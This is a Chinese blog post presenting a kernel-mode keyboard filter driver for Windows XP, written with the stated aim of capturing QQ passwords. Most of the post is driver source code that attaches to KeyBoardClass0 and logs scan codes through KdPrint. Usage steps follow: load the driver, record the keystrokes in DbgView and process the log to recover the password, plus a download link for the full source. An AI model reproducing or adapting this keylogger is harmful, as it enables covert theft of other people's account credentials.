最近看了看c++,写个程序玩玩。因为用户态代码不好截取到qq密码,写个键盘分层驱动。试了试效果还可以。
开发环境 vs2008 winddk ddkwizard windowsxp Dbgview
实现方法
1.把过滤驱动挂载到键盘驱动上面
2.设置完成例程
3.通过KdPrint输出键盘扫描码到DebugView
4. 从DebugView的日志文件中读出键盘按键。
具体代码
1.把过滤驱动挂载到KeyBoardClass0上面
PFILE_OBJECT fileOjbect;
PDEVICE_OBJECT deviceObject;
UNICODE_STRING deviceName;
PDEVICE_EXTENSION pdx;
PDEVICE_OBJECT filterDeviceObject;
PDEVICE_OBJECT targetDevice;
fileOjbect=NULL;
RtlInitUnicodeString(&deviceName,L"\\Device\\KeyBoardClass0");
status=IoGetDeviceObjectPointer(&deviceName,FILE_ALL_ACCESS,&fileOjbect,&deviceObject);
pdoDeviceObj->Flags |= DO_BUFFERED_IO;
pdx=(PDEVICE_EXTENSION)pdoDeviceObj->DeviceExtension;
pdx->pDevice=pdoDeviceObj;
pdx->ustrDeviceName=usDeviceName;
filterDeviceObject=((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->pDevice;
targetDevice=IoAttachDeviceToDeviceStack(filterDeviceObject,deviceObject);
((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->TargetDevice=targetDevice;
filterDeviceObject->DeviceType=targetDevice->DeviceType;
filterDeviceObject->Characteristics=targetDevice->Characteristics;
filterDeviceObject->Flags&=~DO_DEVICE_INITIALIZING;
filterDeviceObject->Flags|=(targetDevice->Flags&(DO_DIRECT_IO|DO_BUFFERED_IO));
ObDereferenceObject(fileOjbect);
return STATUS_SUCCESS;
2.设置完成例程
PDEVICE_EXTENSION pdx;
pdx=(PDEVICE_EXTENSION)DeviceObject->DeviceExtension;
IoCopyCurrentIrpStackLocationToNext(Irp);
IoSetCompletionRoutine(Irp,MyIoCompletion,NULL,TRUE,TRUE,TRUE);
NTSTATUS status=IoCallDriver(pdx->TargetDevice,Irp);
return status;
3.输出键盘按键的扫描码
NTSTATUS MyIoCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context)
{
if(NT_SUCCESS(Irp->IoStatus.Status))
{
PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer;
if(keys->Flags==0x0001||keys->Flags==0x0003)
KdPrint(("%02x",keys->MakeCode));
}
if(Irp->PendingReturned)
{
IoMarkIrpPending(Irp);
}
return STATUS_SUCCESS;
}
使用步骤
1.安装驱动
用DriverMonitor加载并运行Driver1.sys驱动文件
2.打开Dbgview,当按键时就可以看到dbgview中记录下的键盘扫描码
3.在dbgview中选择记录日志文件,处理下日志文件就可以得到qq密码了。
偶c++菜鸟,欢迎大神们批评教育 不足的地方很多啊 多多交流 谢谢 邮箱[email protected]
源码下载地址 http://download.csdn.net/detail/xiaoxiao108/4303441